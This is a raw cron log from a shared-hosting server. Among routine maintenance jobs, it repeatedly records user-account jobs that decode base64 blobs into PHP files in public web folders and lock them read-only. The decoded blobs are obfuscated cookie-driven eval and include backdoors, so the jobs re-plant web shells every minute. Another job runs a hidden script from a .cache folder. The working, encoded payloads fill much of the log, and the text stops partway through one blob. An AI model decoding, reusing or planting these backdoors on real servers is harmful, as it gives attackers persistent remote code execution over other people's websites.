Apr 19 05:40:02 medusa CROND[11154]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:40:02 medusa CROND[11155]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:40:02 medusa CROND[11158]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:40:02 medusa CROND[11159]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:40:02 medusa CROND[11163]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:40:02 medusa CROND[11167]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 05:40:02 medusa CROND[11169]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:40:02 medusa CROND[11171]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:40:02 medusa CROND[11165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:40:02 medusa CROND[11173]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:40:02 medusa CROND[11175]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:40:02 medusa CROND[11178]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:40:02 medusa CROND[11183]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:40:02 medusa CROND[11185]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:40:02 medusa CROND[11186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:40:02 medusa CROND[11188]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:40:02 medusa CROND[11190]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:40:02 medusa CROND[11194]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:40:02 medusa CROND[11199]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:40:02 medusa CROND[11198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:40:02 medusa CROND[11192]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:40:02 medusa CROND[11196]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 05:40:02 medusa CROND[11193]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 05:40:02 medusa CROND[11195]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:41:01 medusa CROND[14322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:41:01 medusa CROND[14323]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:41:01 medusa CROND[14324]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:41:01 medusa CROND[14325]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:41:01 medusa CROND[14326]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:41:01 medusa CROND[14330]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:41:01 medusa CROND[14329]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:41:01 medusa CROND[14331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:41:01 medusa CROND[14332]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:41:01 medusa CROND[14333]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:41:01 medusa CROND[14337]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:41:01 medusa CROND[14338]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:41:01 medusa CROND[14339]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:41:01 medusa CROND[14344]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:42:01 medusa CROND[20935]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:42:01 medusa CROND[21031]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:42:01 medusa CROND[21032]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCR